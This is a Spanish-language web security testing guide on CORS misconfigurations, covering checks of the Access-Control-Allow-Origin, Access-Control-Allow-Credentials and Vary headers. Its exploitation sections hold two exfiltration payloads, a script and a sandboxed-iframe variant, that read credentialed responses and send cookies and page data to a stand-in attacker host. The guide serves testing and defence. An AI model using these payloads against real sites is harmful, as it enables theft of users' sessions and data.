Cross-origin resource sharing (CORS)

General

1) Revisar si se encuentra habilitado (true) el encabezado HTTP Access-Control-Allow-Credentials.

Access-Control-Allow-Credentials: true

2) Revisar los valores del encabezado HTTP Access-Control-Allow-Origin.

  • Valor comodín (*).

  • Valor nulo (null).

  • Origin reflejado.

  • Lista blanca de orígenes (Origin) permitidos con protocolo inseguro (HTTP).

  • Cambiar el valor del encabezado Origin a uno que comience y a uno que termine con un Origin permitido (lista blanca).

# Origin permitido
https://example.com

# Modificación de Origin a uno que comienza con un Origin permitido
https://example.com.test.com

# Modificación de Origin a uno que termina con un Origin permitido
https://testexample.com
  • Valores no admitidos por los navegadores web.

    • Múltiples dominios separados mediante espacios o comas.

    • Utilización de comodín (*) para especificar subdominios.

    • Dominio sin protocolo.

# Múltiples dominios separados mediante espacios o comas
Access-Control-Allow-Origin: https://example.com https://example2.com https://example3.com
Access-Control-Allow-Origin: https://example.com, https://www.example.com, https://api.example.com

# Utilización de comodín (*) para especificar subdominios
Access-Control-Allow-Origin: https://*.example.com

# Dominio sin protocolo
Access-Control-Allow-Origin: example.com

3) Si el valor del encabezado Access-Control-Allow-Origin se genera dinámicamente verificar que se especifique Origin en el valor del encabezado HTTP Vary.

Vary: Origin

Access-Control-Allow-Origin (ACAO)

El encabezado HTTP Access-Control-Allow-Origin puede tener varios valores. Estos son el valor comodín (*), el valor nulo (null) y el valor de origen específico que desea permitir.

Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: null
Access-Control-Allow-Origin: <origin>

El encabezado Access-Control-Allow-Origin no puede contener múltiples orígenes, como separar diferentes dominios mediante espacios o comas. Además, el uso de comodines no se puede utilizar dentro de ningún otro valor.

Algunos ejemplos no válidos de Access-Control-Allow-Origin son:

Access-Control-Allow-Origin: https://example.com https://example2.com https://example3.com
Access-Control-Allow-Origin: https://example.com, https://www.example.com, https://api.example.com
Access-Control-Allow-Origin: https://*.example.com
Access-Control-Allow-Origin: example.com

La especificación de Access-Control-Allow-Origin permite múltiples orígenes, sin embargo, los navegadores web no lo admiten.

Por lo tanto, se debe verificar el origen de la solicitud y ajustar el campo del encabezado en consecuencia. Por ejemplo, puede usar el encabezado Origen de la solicitud para verificar quién está accediendo al recurso. Si es uno de los dominios permitidos, se establece Access-Control-Allow-Origin en consecuencia.

El navegador web compara Access-Control-Allow-Origin con el origen del sitio web solicitante (Origin) y permite el acceso a la respuesta si coinciden. Es decir, el navegador web no compartirá la respuesta del servidor si el origen no está incluido en el encabezado Access-Control-Allow-Origin.

Afortunadamente, desde una perspectiva de seguridad, el uso del comodín está restringido en la especificación, ya que no se puede combinar el comodín (*) con Access-Control-Allow-Credentials. En consecuencia, una respuesta de la siguiente forma no está permitida:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Vary

El encabezado Vary está configurado para que el navegador sepa que la respuesta puede variar según el origen. Por lo tanto, no utilizará ninguna respuesta almacenada en caché cuando se llame desde un sitio diferente en el mismo navegador web, previniendo así ataques de envenenamiento de caché del lado de cliente.

Por lo cual, si el valor del encabezado HTTP Access-Control-Allow-Origin se genera dinámicamente se debe siempre especificar Origin en el valor del encabezado HTTP Vary.

Vary: Origin

Explotación con credenciales (ACAC)

Access-Control-Allow-Credentials: true

Origin reflejado en Access-Control-Allow-Origin

El valor del encabezado Access-Control-Allow-Origin es generado por el servidor a partir del encabezado Origin especificado por el cliente.

GET /datos-sensibles HTTP/1.1
Host: web-vulnerable.com
Origin: https://web-maliciosa-atacante.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://web-maliciosa-atacante.com
Access-Control-Allow-Credentials: true

Obtención de información desde recurso vulnerable y reenvió de información a web del atacante.

<script> 
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get', 'http://web-vulnerable.com/datos-sensibles', true);
    req.withCredentials = true;
    req.send();
    
    function reqListener() {
        fetch('http://web-atacante.com', {method: 'POST', body:document.cookie});
        fetch('http://web-atacante.com', {method: 'POST', body:this.responseText});
    }
</script>

Access-Control-Allow-Origin con valor null

La especificación del encabezado Origen permite el valor nulo (null). Algunas aplicaciones pueden incluir en su lista blanca el valor nulo (null) para admitir el desarrollo local de su aplicación. En esta situación, un atacante puede generar una solicitud que contenga el valor nulo (null) en el encabezado Origin y esto satisfará la lista blanca de Access-Control-Allow-Origin permitiendo tener acceso a las respuestas.

GET /datos-sensibles HTTP/1.1
Host: web-vulnerable.com
Origin: null
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Obtención de información desde recurso vulnerable y reenvió de información a web del atacante.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('get','http://web-vulnerable.com/datos-sensibles',true);
	req.withCredentials = true;
	req.send();

	function reqListener() {
		fetch('http://web-atacante.com/?log='+this.responseText, {method: 'GET'});
	};
</script>"></iframe>

Explotación sin credenciales (ACAC)

Sin el encabezado Access-Control-Allow-Credentials con valor true, el navegador web del usuario víctima no enviará sus cookies u otras credenciales, lo que significa que el atacante solo obtendrá acceso a contenido no autenticado, al que se podría acceder fácilmente navegando directamente al recurso de destino.

Sin embargo, hay una situación común en la que un atacante no puede acceder a un recurso directamente, por ejemplo cuando es parte de una intranet y se encuentra dentro de un segmento de red interno.

Access-Control-Allow-Origin con valor *

El encabezado Access-Control-Allow-Origin establecido en valor comodín (*) hace que los navegadores web permitan el acceso a las respuestas solicitadas desde cualquier origen (Origin).

GET /datos-sensibles HTTP/1.1
Host: intranet.web-vulnerable.com
Origin: https://web-vulnerable.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

Última actualización